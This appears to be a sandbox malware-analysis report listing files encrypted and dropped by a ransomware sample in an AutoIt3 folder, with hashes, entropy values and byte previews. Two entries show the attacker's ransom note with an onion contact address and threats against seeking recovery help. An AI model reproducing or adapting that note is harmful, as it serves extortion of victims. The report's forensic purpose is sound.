SSDEEP:	48:BjJx/9zlU4sU3or+tw29ZfT8DcU72bMq29iLoxS:BjJx/9y4VomwoAzG2oWS
MD5:	4B279A93B8179EC603FB5130F6678311
SHA1:	C49D7F8C8A6AC6B6D45F0FE3DE429D68ACDCE777
SHA-256:	08699B5A0C81BF215E1686787733F739186A2E01F955F7DFDD3D8801E211311E
SHA-512:	AD32C645EE2FBE88F6E9FF67A31E20157F3664E9A34D53E61B10DF48CC874E94E0EA89922882CCCC999B0E6D3D48DCD179CA504C41654612A762EA7D8BA41DE4
Malicious:	false
Preview:	.p..O..$u.....Y.Mf..VoAo....C.:...a.9..F.r...s...S3...7B...h-.X..L..a......C..!.:.Iq.E.X.1....}.j..l.V...o....^'..{O"..B6.9.J.]9z.....Vf..E Rq......v....)Z+..k._..xs....'.uH;....uYp.....5u...'.._..^\|.4......v..4B%....T..c`......f..sH"....{&...).D.6....k.Mq..XtH\......:...[>..].T..mk.....]4....B...=SSx..O.LhX..... ..2..Ys.9...'.\...}m...D.]..%.....f..{P?....s.l..Q...u....E..a..^j.q..^.H.7....r\|%.[.\..,p.....Z#..x\(....wF\|..Q..$!.......Pw..Cr.q.G...?....2@j..[....xf...8f..4q ...B2BX..T..ah.....B..P..xHZu.t.h.......p...z.t..CC........{t;....{[u....F.=...._.Sf..^v.q.E.Y.3...>G&..F....h'.....[(..4Eo..B..a...../1.......V{...:6>..D...7....2.8....E.%.....f..WU...~N9..F.C2u....._.W}.._.R!.F.Y.~...)Z/.L.A..ek.........VR7....cYw.B..$&........2...8<>..\.^.5...8Vj..`....1'....W(..lT;....6Na..S..a3.....B.....:;7..B.C.!....}....f.e..b.....f..YN(...J2f[..z.0..........S..XS.s....f.v..\|.c.......,'....@(..4.o...._M...).Dau.......Kw..Vv.$._._.\....G$..

C:\Program Files (x86)\AutoIt3\Examples\count-do.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1617
Entropy (8bit):	7.6537272430808985
Encrypted:	false
SSDEEP:	48:A/eM6NMtImi0Vpij3ukxcQLJmR1opU+QxF1jm0kPSvbTMS:A/hfhiwpmPxcE/UD1PkPSPMS
MD5:	AA020D265F3BB679AD71F934DD416B3D
SHA1:	E843ED612E539346A5A7B035103C4F3BB336D3D8
SHA-256:	7B074DD81F6FCC012DE50DB847EF87035B71BA7C443066A32052AA36274A8CF2
SHA-512:	4BD998EFCA03D3DEDE6A5F8B76F16522ABA63FFF9043AA42E46247A2C84D6C13254740061F6C52CE28D965CB4AD0C0D9EABEAC05DDBEE7F1D6407ACCBD498D37
Malicious:	false
Preview:	U.......8.Q.."...w:w.!^i..K...DTj,!....K\N...]...gmx]...4.+L....E..;.Q..F...z.0.C&...f,.%.I....5?.......xWvx1.K..u.......E..9.V..d..6.0.M!..@2...lQjc....U.,...#..c.?=u.K..u.nV....h..]....>..6.1.O ..G\|..%.>......^LZ.......mM7x3....9.!.........;...F..T <...&.z._..HlQ.)....?MAN..+..g.:=3.K..<.'.....h..>./.l...<,.Hui.$LJ..f.A.......,..N..e.&,1.... .+..........2.Q..%.;o1.It..p#...j.n1....QAI......f.1xa...0.+...........G..8.~(..2..Lfj..%Lq1......QYR...g..i.:x5..".<V.........>.m..h..O...cxD.d.S..Vu[.%...W........(.9\|....y.l"........w.K..l..x;d.CtQ.\5e..%@>d,....WE.......e.v/p....:.<......L..]....$..6;,..!..[a...kRi&......PP......E%=t...u.+......E..w.Q..#...s;1.Bt..E3i...+.xH...0W....N..c.==u.C.....V........2.K..8.s7%.\8..O3b..lNpNb....ZQtO.....*I.._.K.0.C\|...........}.....[...`xD.h3x..q.[;...\.....N..s.wz8.a....:........Z./.w...bo0.It..\(x..%UqcY....[TM...-..d.ve1.f.._.uV.......2.N..<...x;-..t..Lfo..kU{1H.

C:\Program Files (x86)\AutoIt3\Examples\count-for.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	7.573530025565457
Encrypted:	false
SSDEEP:	24:c/juLFhsLrtwYoqewdSDkeZQei2fc4ObnSCRkHLSAl8+6Xv91XZS:UjZfzewekp32EFLrkrSAlNClS
MD5:	E9201A67856826981EBFD7B625E6531F
SHA1:	82BFD943CAD3422856D5E47C8ABC247F882B009C
SHA-256:	9AD5DA584FC38AC827D1B65BF3C043846321E04272EFCDCD94490661A0D67644
SHA-512:	62AD4FABA4E32B4A97E6197760EA2E4E3394C8FE551549852E8FDAB5858778FFF19F5BF5CB7A07B72B26ACF80700EA0EB95622FD283A5A1CD2C6CB88A9B92014
Malicious:	false
Preview:	.[M[...e..q.;.\).s...'i..R.....h[7.].c-...Q..F4.B....uQ.a.U.\1....... .KU.<.@E.<Y..3..l....s[V.~.D`..../...O.....+.u=./..T...\BL. .@\.0.\h.m..3..b-..G.0...]JN6...O.."5.<...wB0y./..T.t._oQ....?.n.{+.n..../.`,..@..Y@V..)E,...V.........1Ju?.`..TW;.B.2..E.D_.9..a..4...5.+\|..q../3.d%n.....c..GG.Q...\|[9x.#..2R:.AK]...)./w.<.%B.'?..;).f<..$.......5o!....G..%..J..~F%i.{.ETN'.@.L..u..F.0.[+.n....z.p=.... T8...X6...U..@......}J2=.n.A.^ .@.K...a....}.M-.s..:?.sx..B..5...D.X<....C..['.{...rJ9=.f.N.L1......B.]..<.g..#4.....M.......(/.}/g........O.....1n-\|...EV.t.fKQ..c.LB.u.A$.'...<..w7....:...HJ......N..X .Q...hD =.n.TTO;.@VV...?..?.X.!s.D...9z.k=..].t.V.G.]<......M......e.}n.j.T.^t.WOH...l..T.'.e;.E... ?.v.X.&...$`#b.............}B6v.k..Pr..}..... .MW.u.P!.'...r?.b5..K..&...@.DT......i`.....,.qT.A.. S1.?)1...g.JJ.q.j..^.....G......&...]Jo!....G...,.:..SR0<.&.}2..FVJ.....KV.3."E..B..*?.v,.Z.s...YJ.y..Q..!H.....RD s./..E.....5...;.u@.;..<.bY..'4..R..c......'h..

C:\Program Files (x86)\AutoIt3\Examples\count-while.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1609
Entropy (8bit):	7.6533138239177765
Encrypted:	false
SSDEEP:	48:lzLzxqy3U+Ni+P/22KJsYlrsMyeXQVTSYVqmc5mdS:9LNqY322K+I4eCpVVWcS
MD5:	DAAA61E3F3443E79EB6FCD9449B59705
SHA1:	A6847B15F9405209610562639BE911F145567D44
SHA-256:	9852181FD71ABEC9427867ECCE58E7E38BB7B6F00C52168BD8F5D53BD210B77E
SHA-512:	E0A8F9C3DBF8F0AA2D8BBBEC792606409311E2D92680EB48E4FD3708569CF3F31A4EBA1C15995D6D5C94CD50F4416A2E6A8D136B97B35439B4D90A8E33B0E57D
Malicious:	false
Preview:	.+7..)i.1`.i.u......P..#...WF..Wk....D.Pgi..5.~....0).....'..by..m,.cD.n.i.J....D..[..4}]...H....=.v.....`.8U.5.0E.....`..,8..#,.hM.b.u.h....D...\...`....Rk...2.My)..5.?^.i.u......`../...&..6..<.R.2..c..]....Pw...?...f..`o..`.9T./.0G.....b..-6..@..H[.j.m.h....V..Q...V....vZ....S..4"...z.$..w.}......b..,0...)-.$..B.h.M....L..A....Wp..Wq...j.Odl.....Y.._........%..1<...",.xM.s.d.3...Q..\...u}$...Q....}.R` ...}.$R./.\|......!..6<...(x.lW.3.).%...@...E...}1...Mm...w.Fqt..f.]0.C.s.........'+.....OL./.h......g...z...4y0..qF..._.fUL..7.%N.F.0 .....%..b{..>,.nQ.w.!.)....J......!}...Lx....E.Kxe...z. ../..E....!..b-...8b.dW.%...M...f..B..q}...P8...a.Gf ..a.5..}.}......%..*<...!\|.kJ.b.g.2...g..[...f3]..Nj.......4I..[.r..n.0......$..f....m1.:..s.d.`..........y-..Dj...}./.....1..T.x.bE........1..G..@P.E.y.d...\|..d...U.Q..cj....2.Zum..7.p..D.0E.....i..KP...8~..).B.e.&...,...L...\|8]..Wq......n{c..1..U.a.0X...J..b...8x.-W.b.m./...M.....q}...Lk....

C:\Program Files (x86)\AutoIt3\Examples\functions.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	7.637748239571932
Encrypted:	false
SSDEEP:	48:teIKc9FSYPB+//8lHm9UzeDNPlUgOdF1/rbS:t55h+gADNP2gYF1/rbS
MD5:	4F5BC177C608080A9438E22427A12854
SHA1:	0EB34C0E514B75FE775A6941F4DFC6170BF264BE
SHA-256:	8B69EDC589199FD264B504C9089B7ACB6E7F0CDFD898E05FD217E1F64EEE1F87
SHA-512:	F3581EACB4A0416EF768272B655CBAA2D018733DEC823D6AB1A50B4933D1E77596966EBC4392FDF876E09E60F06164C9436DAEEA0E4D8EA7D1BEE6EB27E9FC46
Malicious:	false
Preview:	V..(.\|xG.}..j^R..3H.`.?.)....B....JA&ED.@.D.u.%}.Cuv..u....\|O..k.)<../..m^N..\|.hm.x.K..!.o...m...m.~<o'>j....b;..snv..;....S...?.hr..$..aYR..-TV!.x.E..t.;..$..gZr3B.^I&.t.[<../'3..;....9U..".fw/.z.?.u...KL!.y.G..t.u..m..fXi3N...X.!.65..:?.h.....x...hqR.$..'k...T@).A.{.H........#.GfU.z...7.{#..kbv..r....\|...b..YZ.5.?.`...HPd.-....].!.....sYc;.~9i....y>..i:>..n...m..>.)hJ.a..vDV.j.Mr.,...h.....?...w.qzU...C.o.z2..9/$.~...j....)(..2..$YN./^Tq.j.H..}.=..?..fAgzM..m!...u2..m'..l..98....q4`.5..,.k...~kO. ...D.......By/?.Qr._...6...$>:..7....p..(.`lV.6..h.E..+.Y!.c.T.;.)..,.f.`fO.G.D.<.6s..i79..l...m..>.)uV.c.. ,..gxPd.g.P..;.<...>...pBca..\@_..f!..9:v..~...\|U..'.)zK.$..k_... yWy.~.P..u.9...(....<=3h..Be.m.a2.."?.~...P1..k.)+..5..j.C..3.Li.,.\.k.*..#...l[..(:U@....e$..isv.._...q...A..QQ....,.k...bkU.A.k.W.o..9.!.&1n8.@..6.7q.CG_.o.....\|../.o.(.K.$.S...^Ku.y.G..........2./.+~9i....xs..::..x....M.....g...s...'c...NVb.,....%....=...8.

C:\Program Files (x86)\AutoIt3\Examples\inputbox.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2142
Entropy (8bit):	7.746011847033126
Encrypted:	false
SSDEEP:	48:bRPl1K+J9cFZBzX1Ys/dW00O8k0pGBj+0v4Sw55W2ygEeS:BKIu1Yr0XHByAQI2jEeS
MD5:	2C616B8B391065B8B2A3B8EC66281981
SHA1:	21F2AB7052C6B31D01765D7A8C12131D51357A3E
SHA-256:	A8FDB33E57F0EF14F41FD6864DB083DE42BB3D5A7EC41E6B66B010CB423D707A
SHA-512:	186F9DB8B395E116B762C11314D5025A311F494763F37E4BEFE8A24882B76F4C9DA8168BEF29C14385C6AD31C557AFC653D0493A0D415737D67EF9007A7713CB
Malicious:	false
Preview:	.......li...3.\|..S.t...m..7..O.^`..g..+.L...F.....r....@.j...TX....Hj..._.3.l^.3..........}f!.?w.../.....9..i..O.....E........Ah...r.b.R..3.....N...g.^/+.3x.6.....F.>.. .U...../........."...+1.a.H..2...........K.(6.-.D..F.9..'......c........r..X'.m.ST........7.... P..&5.5.....#.8...r....I.k...yr....pC...".m..?.N......J...f..z<.5x.6.W...4...;.....T.j...-...._t...&...HZ.3......]...\|.Gj;.5x.<...R.y...i.....M./...X....@t...7.i.PA.J......V...O.Yx.ge...B..N.8..a..-..r.@...9:....jK..<..!....2....B...b..'.. 4.......s.........S.........A&..X;.x.H..(.....]...w._/;.g,.).......<..,.A...N.v..........t..X;.7..?.J...@.._...z.O/:.".*.D.....q..=.O...L.{..........Gc..X4.d..T.5......B...z.Xao.&4.<.....]........O...c........aI..Xe.(.TW.g.....R...v.G.#.g>.7.Q...k.X...m.....S.2...06...A...q..o.SJ.c..3..n...A.kCc.e..-.l..F.....i.....,..........jh..._...5.....@..U.....D{&.g,.<.P..F.8..i....E.-.........\q..Vr.`.O..4....[...}.D\|&..

C:\Program Files (x86)\AutoIt3\Examples\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\AutoIt3\Examples\msgbox.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.168993117969983
Encrypted:	false
SSDEEP:	12:n+Cie38IMc/gjMinsFe/HeJeI8wbborIkH0/xOLkLnh0EE5M6jnGe+Kpbjgc1zI5:nFMIK+k0ZOLkboB4KWIzXS
MD5:	20ADB9273A490D30844F512C64D6D533
SHA1:	CD0823ABED5A335D8EBF51B955E158068338FD07
SHA-256:	BD7864B483E311D953C19ADA097A10C7FBA7D3993510C2D1E756C1F57891CA48
SHA-512:	414DF156BBBF7F20D27AF515BBCB003B421BFE3134363C559356A5A6403F33B29D6004A76E2A3745489DC62747DFE63493E19A02AF4ECC3C997190F9EDF858C0
Malicious:	false
Preview:	x!...j.......m!.F0...C.._...uz~.L......s..+.....<...".....ah...?......m=."......I.'..._a~..6....X.T........C...lH...&4&...~......j!......... .....",.I.....u.4.I.....b....l.....2'........qu.Nd....... .....$~.P.....6.y.!.....S....Ab...L.;...w.....>8.K6...PL.0.....a0.N......x.8............?H....7)..p......><..2....}%.&....We..f2....[.........^...-....Nwh...v......p0..f....3}.....+)7......s.k.d......w.....$.... line 3")....u......A/2.....1...l.b.o.9...q.o..B...........[.. .dy.=....J.....A....Y..I.hOh4$*...S.m.K)..A...W..B....>C.P...>f...$v......s.Y.0.w%K.."...C...<..ER..7y.i.-6K.I...MC..7.s...x.".Q$Zp:.]./6nT..>....=.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\AutoIt3\Examples\notepad1.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2152
Entropy (8bit):	7.704030690210119
Encrypted:	false
SSDEEP:	48:KJPXfVRI6JbjPr5q85XYLhFOuI/4rDvIqYBizQA9BliGCS:KJPvVRpzr5q8FYLhrDvIRizQAJirS
MD5:	C824438567D53601182902B4C3C586DE
SHA1:	3DB7AB9D15CACD0EA565BA1476B5248EC837C15D
SHA-256:	2DFF93DA4BE2E85E2A937E606D6666C0486E5AB90F1D3FE1853345232DC5E65F
SHA-512:	5AED3E42109066DBB93FD258B8CA5D12D94EFC9D374623831E423B0350A3C1F4059FA8B73799D7B11ADF987E343A40C830EFC623D3BBA2FF93D0A4F9F537491F
Malicious:	false
Preview:	....1.......r.V.,..7#).h..k..[.e...<IyX{.M.R$....q..E?...!...mK..1..d.@d...r.:.cZ.:7n....[..q.e..?:n4...k.1p..E.7.vu$..o..od..p.%.@c...u...2..v7n.....S.".7...sdb...P..F....0.m)m..o..o...].+.m+....!.T.1..v.o.....T.\.~..H.ph.^.q.O...T...}?a...!. gK..t.d..E....o.F.1..v"r.E...V.2.1...}..C .2.d...].3.,f....&..E1....,.......G.Y.x%..7w....H7.X.e...>pyXY.Z.N8....0.v:j....,xG.1..1.......r.y.x..9;j.E...R.%. ...2g-.L.^.^?....:.$.p..g..Z.1.(.@G..g.E.5..3v~.....I.\.L...2l-\D.Q.L......c.k...&..."..N.../.....^.n..?...^.).A..$...H.xl.].Z..k..X.,.w,v..o..#f.....+..Q..u.G.x..v%u.....B.q.+..;ecX\.V..k.._.&.qos..o..ox[..x..f.m+....!._.;..">........q.+...! y...W..;..].+.,<a...'..'oB..w.!..N....f.X.x.."#h.E...O.".H..SsIkX..P..<....3.g$a..k...E...&..0..O....u.C.=Z..7w.....O.2.,..eY.D...V.U8..B.b. .@......!.$..\.........R.d..7...[.I. O.>.1..HqOFV..}.^j..=.V.V*p..B...dJ....N.[...O.C.(..[\.....CT.%.5..F6xhZ..5.1B..g.6.$)k...'...eZ.p..0.@C...d.V.,..3x:.....V.".+...s"C.

C:\Program Files (x86)\AutoIt3\Examples\notepad2.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1862
Entropy (8bit):	7.657576352622776
Encrypted:	false
SSDEEP:	48:z1CoQzKNKs64sMX6Ybwax3/LJiI+Zpyw+HIS:JDQMKr4sMKMbsbrUIS
MD5:	04903614F05011E89B898F388AFFDD01
SHA1:	885AB67267F8DB4CC79ABAD1A4CCE26344C921DF
SHA-256:	69107E67F70A94BDF0818071C4DDDA024D84C0B5CA897B3E03E61116F90DAF68
SHA-512:	F41BF877A4494D0AAD4DB0762260F3512C0439C58ED4C22083B6B12026B9F66DE4A30700D3D4ABC7BDAF0EC58F121694885E0E1222784877F0238FA91BE6DF59
Malicious:	false
Preview:	p....*.P.mUp.q..q`v?2..c.....z.v...@..).1...T...v.l...kw..?v.8i.Z......?qs.q../%A?..;.c...9P.v...F..q..,....j.1.3..k...j7B.<....>...4xq.v.7~j.s..}.d..Tm..$....}.7...6.....8...._..j7B}s.6..0.8.j..T"..m}ues..3.e..S#}.m..`.g.t6..^.J.i.(...8....9x.8s......[.qbw.l..j}qb}..f.1..U\|P.3..[.l.t...L...2.\|...8.....r.9:..../.V.0z.e9..?wmp!..).c..7"}.[...W.y.1P..1.S.1.V..."U../sCPY.p..1....n~.r..7=..Z....~..I9..3...J..}.t.....C.e.?...?...9rB<s.......#yr.v..v`m1'..}.}...i..7..J..z. X......6.9.......:7.4?.Z..-.X.#s?.g..vxv8^....r...=..8..]..).'...C.i.1......d...XN}w.8....a..[P+C.34'P&....1..\t..3...A.`.<X..W...i.~...8...#g.}$...-.[..yk.r..?`\|a6.3.b..X9......A..}.1..N._.e....$N..$cB)<......A.s?.e...$4Fy6..}.y..Hj..q...A..l.t...O.N.5.3...k...jc.8s......\.46y.p..lsG~+.8.d...o..#.."..2.....u...2./..."X..j?F...5......%~z."..v`%e;..8.p..Q\|P.#..F...]1....j.6.9..k....7656.w..V.F..ygG&..@G\B.....U...9R.#..[..)..3....R.d.u...Bi..8yoWZ....9.?.[.$OP..?Zje6..9....HwX.8.._.'

C:\Program Files (x86)\AutoIt3\Extras\_ReadMe_.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	491
Entropy (8bit):	6.605830176605986
Encrypted:	false
SSDEEP:	12:2GYuCqL8Celo1jUpDkrbhn9WJ4uWaFKOMS:ZYu8CaJkrN9WCQcS
MD5:	5ADD28E75F05191EB3282A1C5B348E02
SHA1:	CB9558E9F8BE1A42765CDECDEEBF5A2143DD0010
SHA-256:	DCDBAC955FFECBD68DE3B83B3BE6F83DCE46642346ABE632E97CEF6ACD2A2235
SHA-512:	9B9398FF613076DCB2D2A0A5C56FDD3C7DD6C524FE2101E4AF80D928C54AF6D43949FC6AB06FC9F73E9DFC683CCFA17D39E82C89BA0752EE993710047152A293
Malicious:	false
Preview:	..j.....j.O.3../.Pc5...&.w.... ..?6..8.s.....g.{..f5.kz..Q!..c=.l.D.kHM.C.1..6..`9...Z.w....{6..?7..Y.i.}...g.6..zq.wkP.J&.Cve been kindly supplied by users of AutoIt.........D.>.......k.(i.......g.F....1.G...5T.....}.._u...<2..Q....7...t.......v......./.,`.F[.-.#j....@L.U{e.....Tg1....Q.....{.i..sG....<..K.Y....Bm...?.].`_..G..5......%.Q....`..F...+....\l!.....Xd.E/.7..............................................................................................29yp10v5m8k.

C:\Program Files (x86)\AutoIt3\Extras\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files (x86)\AutoIt3\Icons\MyAutoIt3_Blue.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7720
Entropy (8bit):	6.027323863489949
Encrypted:	false
SSDEEP:	96:hVIFFOcJYtowJWDVOPFAxMfvUEkyvgPNOpTHNZSFpSmf//bY5LHS:8FOcJ+SDVOPqEJ4lQTHNQFgLzS
MD5:	D6BCC3D902FB6F597227D1EB483C4BC6
SHA1:	7F4CEA1EB199FD30D9A643DFB071B65190044915
SHA-256:	7A8F7F23937A07ECF4D2A7B4C8D5CB0970662D587D54BC8EC8003A7F87FD048C
SHA-512:	5BEBEBA71C70488243BD089EE7521135E38931545862421500D21A8D8FD328DD84FAF2FEAD8780082264E87ECD87A4043FD8F98ADDCC1687707A72D5B42DBC1B
Malicious:	false
Preview:	jx..e..DX.Y..."..X,.;b.._F.a[u...d+H.wy...!.&..B9..5.!...Jw............................................................................................................................???.CC)x..".k1.......X...bk"2_.\|.[.)5..........o..)LB.0T5........XZ..................hhh.XXX.\\\.ZZZ..................v...c...]...b...t...................\|\|\|.GGG..............g...e.........LL&x..6.}'......EX.I.b.06_.\.[.91.V.....L....,IB.u.5..=.Y...R`........h...d..........._...........g...........y...i...^...p...............................b..........^..............r...xF~......s..'.HX.}eb-oC_.?.[.I+...!....<..J.HB./D5....^...kf....n......................j.................\...a..................................e.......................c............xU^;......E.TV.X...b.8._.O.[. ..i.....`..)..So.B..Z5..3.M...ZU........n....................................................\|................................................}...x....x0n....-..7..`b.X.&.b.I*_G.i[....%H.WY

C:\Program Files (x86)\AutoIt3\Icons\MyAutoIt3_Green.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7720
Entropy (8bit):	6.041430380857057
Encrypted:	false
SSDEEP:	96:LTxJCEoXlLTF9i0Nz5vIH2VLKU1dG3W1bUedac5AlLdS2//ZL9hJS:Yv9i0NzFUU1dtbUmjy/S4hJS
MD5:	ACB5010A4A5BF7771CF4437007473102
SHA1:	9C1B3B677C6CA9027E26FC5C9B372B541252D58C
SHA-256:	683249E63FF349ADC726083F0E2C9119337A7BFBF7A2E3CBFEAC440BCEFD8DCD
SHA-512:	816DFADE2E55AB81BD8E50F108E3E3823AC43236E08C1AF9CA66D36076FE5432A8449677A26E0697D9B58CB3F560B57E6EFB6FEB9A927D49EF5ED97E49453828
Malicious:	false
Preview:	..8.s&...v.7%...%.Wd..+j.d....3......3.J...qH.".FS...A...{I..........................................................................................................................???.CC...\|.sS...E8.7..8..(.dq3.+.q.F'.3....^.......L.."h....CaA.#L.................hhh.XXX.\\\.ZZZ..................v.{.c.w.].v.].{.b...t...................\|\|\|.GGG............~.g.}.e.........LL...h.sE..._".7.M...r.diR.+.x.....3....0w...}~.V.."..v<.A,.m...z...........h.\|.d.........w._...........g...............y...i.w.^...p.............................z.a.z.b........w.^.......;..ys.._..7..4..z.d1rJ+.7...-.3..o.?~..4X.Y.."Y...N`(AX.......v.^...............n..........................j...............v.\.y.a...................................}.e............... .J..smT...r7L......d.yr+.n..\|A)3..y.?q...(~.S.."..._x:Ab~...h............y.`...........n.........z........x.`.........................n..............\|........................w._.......\|s.5..t7D.y.oj2d.zx+.i.s;.3..t.J!

C:\Program Files (x86)\AutoIt3\Icons\MyAutoIt3_Red.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7720
Entropy (8bit):	6.052843817305022
Encrypted:	false
SSDEEP:	96:ucnju6/xu9P/ICAtGDloW6jxuGvnTs8rTk0YsXeeUCXU3Ygy//YgS:uA3/xqP/IVE4F/Ts+/OeUT3Y7S
MD5:	E2035AAB31F146FB09A1AD82947691DF
SHA1:	59EE1FBC65FF6347CF005971993A821AE4C6BF13
SHA-256:	39437733A5A7D55ED8780FA357C01D812AD8A4260E7CA1B56C445927577A701D
SHA-512:	57D8B73B111531CF4F1627A0472C27D47AF183A66D3AD6581ABEA495FD67197744255D6679077EF90ABE445331FBCCEA51D10FB1FEC2A1542D9C03F161570183
Malicious:	false
Preview:	I..5u.....m].ld.....Z:'.....j.pQ.._.C-.b..D.*:].?....#{]............................................................................................................................???.CC....ru....#..E...rv..R.'....g.......\|.-.$..y..:...V.4#....$Q..............hhh.XXX.\\\.ZZZ.................wi..eU.._N..dT..ug......................\|\|\|.GGG.............hY..fV..............LL....fu....9..8..(,H.W..'\|Sd.d6..F.B..g.-#...\|..:.T..r!.#.......vh..........iZ.........aP..........iY..............zm..k\..`P..rc..........gW..............................cS..cS..........`O.....u{+..<....^...2.t6.'..6..g...... ..-s......:.p...#...k...........z......o`..........................................^M..bR.......}..j[...v......................gW..............v.....R7.ur0.......z...:.q..'..;.#O..9....U.-N....M.:q...-d.#..../Y...\|..rc..........pa..................bQ..........aQ.......................~..}p...................w......................gV..dS..e..u.==......X.!"!....'.......J.C.4

C:\Program Files (x86)\AutoIt3\Icons\MyAutoIt3_Yellow.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7720
Entropy (8bit):	5.963181226708516
Encrypted:	false
SSDEEP:	96:QCPBC//GsZ5tkmQRL/JGkvQ5y8HZuifDPe3VJTouuu0/Dyyg+6fcuQFqbvPGR//8:mG4QGsQ5Fuifje3XCrWYqbXxOS
MD5:	D6F8B1289A0364CFEF94A35F44F4BCA9
SHA1:	F20B30E5BD2C367C542D834C2CE9828F3C8AE76C
SHA-256:	679A753285B4126C6888BC21BEC6134913AC10DCA0CD6C0ACE9BA714FE64B754
SHA-512:	AA5CF13CE7A4A43471E81CD11E546BC3361AFF5F44923A8B06B4FC652FA52BCF5FFA96F15E112F1035108A525E73862AE9F1BE728EBBFB261FF8164A4EDFE17C
Malicious:	false
Preview:	..}q.z1.}.{..X..Bl..V^4,X!...O".....W......tQ...].D.A.b....m...........................................................................................................................???.CC..85.zDb8.4...qTZB._.V...X........rb.W.S7.i.:Q.%...}..o..QX.._..............hhh.XXX.\\\.ZZZ.................V...>...7...6...=...S...~...................\|\|\|.GGG.............B...@...........LL..,!.zRt.......B...V...X.l....R.=%.W.H,..F.Q. ..8..K...n..Y......D...?...........9...........C...>.......Z...F...8...O...........................w.......;...<...........y...........Q...r._....z....&I.+86B.W.V...Xen...._.V+.W.4Q.W..Q.V..st..]...`..T..t...............S...........................5.......l...E.......d...........n...................e.......=...................C.W.&..z@..$K...B.Z.V...X.l....U....W..l.P..Q.T...B..!Q..PG..Hd..z...........:...........L.......}...............}...............9...............L.......m...]...............v...f.............f../z....)F.X1>B3i.V/..X._..y.j....W11

C:\Program Files (x86)\AutoIt3\Icons\au3.ico

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	31840
Entropy (8bit):	6.823930106650891
Encrypted:	false
SSDEEP:	384:5HjWGTSl8w+D6hVtqi9rVQeMhvvdxPV597JYDws5rhmqJhoFaJlEluPb9nv/gH/8:lH7xAtt9RPk9xV78XXoFaJlEup/s/Aj
MD5:	1696F51C78A654663B82435ABAFCF0BA
SHA1:	6D7EAD71056D07873F02E9084225DC6D9FC8A14C
SHA-256:	E3B808DFDA9D395552AD593845131071FD2B86A0DE87E856FC5B8721EABF46E8
